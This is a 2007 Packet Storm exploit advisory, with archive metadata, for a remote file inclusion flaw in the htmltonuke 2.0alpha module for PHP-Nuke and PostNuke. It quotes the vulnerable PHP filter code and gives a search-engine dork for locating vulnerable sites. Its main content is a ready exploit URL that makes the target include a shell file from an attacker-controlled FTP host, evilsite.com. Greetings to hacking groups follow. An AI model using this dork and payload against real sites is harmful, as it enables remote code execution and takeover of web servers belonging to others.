ID PACKETSTORM:55270
Type packetstorm
Reporter Cold Zero
Modified 2007-03-21T00:00:00
Description
`######################################################
#
# htmltonuke 2.0alpha for postnuke & PHP-Nuke(htmltonuke.php) Remote File Include Vulnerabilities
#
######################################################
#
# script :http://www.desarrollonuke.org
# http://up.9q9q.net/up/index.php?f=ddAvVTUSs
#
######################################################
#
# file : /htmltonuke.php
#
######################################################
#
# Dork : "/nuke/htmltonuke.php" - "htmltonuke.php"
#
######################################################
#
# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/
#
######################################################
# //verifie s'il y a l'extension ".htm"
# if(substr($filnavn,-4)!=".htm" && substr($filnavn,-5)!=".html" ){
# echo "Only files HTML are authorized...";
# CloseTable();
# include("footer.php");
# }
# else {
# // verifie si l'on remonte dans l'arborescense
# // verifie si l'on sort du site
# if( substr($filnavn,0,5)!="./../" && substr($filnavn,0,7)!="http://" ){
# include ($filnavn);
# CloseTable();
# include("footer.php");
# }
#
######################################################
#
# exploit :
http://www.example.com/nuke_path/htmltonuke.php?filnavn=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm
#
######################################################
---- GreeTz: |MoHaNdKo| |Cold One| |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell|
|Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY|
|Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa|
| The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 " alz3eem" | | The_Viper | All i know
#Big Thx For : www.4azhar.com , Long Life My HomeLand Palestine
`
{"id": "PACKETSTORM:55270", "type": "packetstorm", "bulletinFamily": "exploit", "title": "htmltonuke-rfi.txt", "description": "", "published": "2007-03-21T00:00:00", "modified": "2007-03-21T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/55270/htmltonuke-rfi.txt.html", "reporter": "Cold Zero", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:19:43", "viewCount": 7, "enchantments": {"score": {"value": -0.3, "vector": "NONE", "modified": "2016-11-03T10:19:43", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:19:43", "rev": 2}, "vulnersScore": -0.3}, "sourceHref": "https://packetstormsecurity.com/files/download/55270/htmltonuke-rfi.txt", "sourceData": "`###################################################### \n# \n# htmltonuke 2.0alpha for postnuke & PHP-Nuke(htmltonuke.php) Remote File Include Vulnerabilities \n# \n###################################################### \n# \n# script :http://www.desarrollonuke.org \n# http://up.9q9q.net/up/index.php?f=ddAvVTUSs \n# \n###################################################### \n# \n# file : /htmltonuke.php \n# \n###################################################### \n# \n# Dork : \"/nuke/htmltonuke.php\" - \"htmltonuke.php\" \n# \n###################################################### \n# \n# Found by & Contact : Cold z3ro , Cold-z3ro@hotmail.com , http://hack-teach.com/ \n# \n###################################################### \n# //verifie s'il y a l'extension \".htm\" \n# if(substr($filnavn,-4)!=\".htm\" && substr($filnavn,-5)!=\".html\" ){ \n# echo \"Only files HTML are authorized...\"; \n# CloseTable(); \n# include(\"footer.php\"); \n# } \n# else { \n# // verifie si l'on remonte dans l'arborescense \n# // verifie si l'on sort du site \n# if( substr($filnavn,0,5)!=\"./../\" && substr($filnavn,0,7)!=\"http://\" ){ \n# include ($filnavn); \n# CloseTable(); \n# include(\"footer.php\"); \n# } \n# \n###################################################### \n# \n# exploit : \nhttp://www.example.com/nuke_path/htmltonuke.php?filnavn=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm \n# \n###################################################### \n \n---- GreeTz: |MoHaNdKo| |Cold One| |Cold ThreE| |Viper Hacker| |The Wolf KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell| \n|Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke| |Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY| \n|Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C| |Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa| \n| The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| | 020 | | abdulla00 \" alz3eem\" | | The_Viper | All i know \n \n#Big Thx For : www.4azhar.com , Long Life My HomeLand Palestine \n \n \n`\n"}
{}